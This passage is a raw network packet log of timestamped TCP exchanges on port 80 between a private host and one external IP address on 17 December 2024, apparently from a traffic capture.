                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.606201887 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.622195005 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.622375965 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.622575998 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.623635054 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.624205112 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.624393940 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.626619101 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.628552914 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.629570961 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.629666090 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.630209923 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.630599022 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.632193089 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.632210970 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.632333994 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.634747028 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.634763956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.634984016 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.637337923 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.637360096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.637422085 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.639596939 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.639612913 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.639631033 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.639691114 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.639775038 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.640132904 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.640616894 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.640764952 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.641706944 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.641742945 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.641767025 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.641871929 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.642931938 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.642946959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.643007040 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.644012928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.645241976 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.645332098 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.645348072 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.645365000 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.645477057 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.646466970 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.646651983 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.647000074 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.647384882 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.647495985 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.648133039 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.648487091 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.648643017 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.648989916 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.649651051 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.649754047 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.649806976 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.650705099 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.650827885 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.651102066 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.651793957 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.651897907 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.652002096 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.653016090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.653100967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.653183937 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.654066086 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.654177904 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.654303074 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.655165911 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.655273914 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.655539989 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.656336069 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.656372070 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.656435966 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.657435894 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.657546043 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.657640934 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.658485889 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.658523083 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.658610106 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.659619093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.659655094 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.659733057 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.660717964 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.661025047 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.661370993 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.661812067 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.661884069 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.661993980 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.662910938 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.663000107 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.663065910 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.664072990 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.664180994 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.664365053 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.666310072 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.666430950 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.666590929 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.687545061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.687650919 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.687719107 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.687789917 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.687843084 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.687952995 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.688935995 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.688992023 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.689353943 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.690026045 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.690150976 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.691122055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.691225052 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.691278934 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.691591978 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.692209005 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.692269087 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.692581892 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.693299055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.693432093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.694386959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.694483995 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.694560051 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.694658041 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.695673943 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.695723057 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.695868015 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.696595907 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.696651936 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.697736025 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.697850943 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.697880983 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.698154926 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.698795080 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.698829889 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.698882103 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.699891090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.699985981 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.700124979 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.700968027 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.701070070 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.702064037 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.702183008 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.702218056 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.703129053 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.703167915 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.703213930 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.704066992 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.704262972 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.704370022 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.705358982 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.705401897 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.705446959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.706536055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.706573009 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.706692934 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.707422972 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.707581043 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.707614899 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.707704067 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.708692074 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.708832979 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.709012032 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.710397959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.710585117 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.710643053 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.711651087 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.711728096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.711801052 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.713339090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.713417053 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.713470936 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.714365959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.714462996 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.714931011 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.715375900 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.715485096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.715549946 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.716392040 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.716469049 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.716567993 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.717355013 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.717427969 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.717504025 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.718260050 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.718440056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.718504906 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.719310045 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.719422102 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.719511986 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.720195055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.720427990 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.720633030 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.721162081 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.721200943 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.721322060 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.722068071 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.722148895 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.722292900 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.722912073 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.722946882 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.723159075 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.723939896 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.724039078 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.724283934 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.725022078 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.725177050 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.725228071 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.726138115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.726264954 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.726619959 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.727201939 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.727291107 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.727421999 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.728288889 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.728405952 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.728702068 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.729423046 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.729500055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.729794979 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.730473042 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.730570078 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.730823994 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.731688023 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.731811047 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.731913090 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.733072042 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.733211994 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.733434916 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.742197037 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.742250919 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.742506027 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.742604017 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.742651939 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.742955923 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.743556976 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.743592024 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.743726969 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.744729042 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.744802952 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.744957924 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.745584011 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.745620012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.746681929 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.746773005 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.746786118 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.746896029 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.747667074 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.747757912 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.748195887 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.748845100 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.748924971 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.749089003 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.749911070 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.750015974 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.750202894 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.750963926 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.751085997 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.752032042 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.752173901 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883236885 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883296967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883337021 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883358002 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883393049 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883414984 CET8049748192.142.10.246192.168.2.4
